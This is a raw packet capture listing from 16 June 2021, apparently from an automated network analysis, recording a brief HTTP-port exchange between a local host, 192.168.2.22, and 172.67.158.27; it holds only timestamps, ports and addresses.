Jun 16, 2021 12:06:12.745563984 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.745646954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745697021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745763063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.749998093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750062943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750114918 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750132084 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750164032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750215054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750227928 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750263929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750313044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750318050 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750375986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750427961 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750436068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750485897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750535011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750580072 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750583887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750633955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750643015 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750683069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750732899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750737906 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750783920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750833988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750838041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750881910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750930071 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.750935078 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.750977993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751027107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751033068 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.751075983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751147032 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.751410961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751465082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751516104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751529932 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.751566887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751630068 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.751632929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751692057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751751900 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.751753092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751812935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751873016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751873970 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.751934052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.751992941 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.751992941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752345085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752382040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752409935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752409935 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.752445936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752458096 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.752481937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752518892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752536058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.752552986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752589941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752618074 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.752624989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752660990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752692938 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.752696037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.752752066 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.753314018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753365040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753401041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753433943 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.753433943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753464937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753494024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753514051 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.753523111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753550053 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753582001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753585100 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.753611088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753639936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.753649950 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.753705978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.754298925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754322052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754358053 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754376888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754412889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754450083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754456997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.754492044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754523039 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.754527092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754563093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754579067 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.754599094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754631042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.754654884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.755228043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755291939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755295992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.755326033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755356073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755371094 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.755382061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755414009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755429029 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.755441904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755471945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755485058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.755497932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755528927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755538940 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.755558014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.755599022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.756179094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756226063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756254911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756270885 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.756284952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756311893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756328106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.756347895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756377935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756388903 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.756407976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756437063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756453037 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.756467104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756496906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.756510973 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757158995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757194996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757215023 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757230997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757266045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757272959 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757507086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757535934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757553101 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757569075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757599115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757613897 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757626057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757658005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757673979 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757688046 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757714033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757733107 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757745028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757774115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757782936 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.757802963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.757843971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.758467913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758502960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758538961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758547068 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.758575916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758610010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758621931 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.758646011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758680105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758686066 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.758716106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758749962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758755922 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.758785009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758820057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.758826017 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.759433031 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759462118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759485960 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.759499073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759533882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759548903 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.759572029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759607077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759613037 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.759644032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759668112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759690046 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.759706974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759741068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759746075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.759769917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.759809971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.760399103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760452986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760487080 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760500908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.760519981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760554075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760565996 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.760590076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760624886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760637045 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.760659933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760695934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760699987 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.760730028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760761976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.760776043 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.761343956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761377096 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761392117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.761408091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761441946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761464119 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.761476040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761507034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761518002 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.761533022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761569977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761573076 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.761600971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761631012 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761641026 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.761657000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.761696100 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.762305021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762342930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762383938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762388945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.762402058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762414932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762428045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762466908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.762468100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762495041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762518883 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.762521982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762541056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762567997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.762572050 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.762609005 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.763279915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763300896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763324976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763343096 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763345957 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.763376951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763397932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763397932 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.763426065 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763446093 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.763458014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763482094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763499022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.763499975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763528109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.763537884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.764241934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764265060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764291048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764291048 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.764311075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764334917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764338970 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.764358044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764381886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764390945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.764405966 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764415026 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.764431953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764448881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764470100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.764482021 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.764513969 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.765177965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765199900 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765224934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765239954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.765249968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765266895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765304089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765309095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.765322924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765352011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765352011 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.765373945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765399933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765403032 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.765424967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.765439987 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.766136885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766160011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766180992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.766181946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766204119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766222000 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.766223907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766252041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766266108 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.766273975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766295910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766313076 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.766318083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766339064 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766355991 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.766360044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.766398907 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.767107964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767162085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767178059 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767199039 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767205954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.767250061 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.767435074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767456055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767478943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767498970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767507076 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.767520905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767544985 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767549992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.767566919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767592907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767599106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.767617941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767642975 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.767643929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767667055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.767683983 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.768414021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768434048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768461943 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.768462896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768490076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768517017 CEST	49169	80	192.168.2.22	172.67.158.27
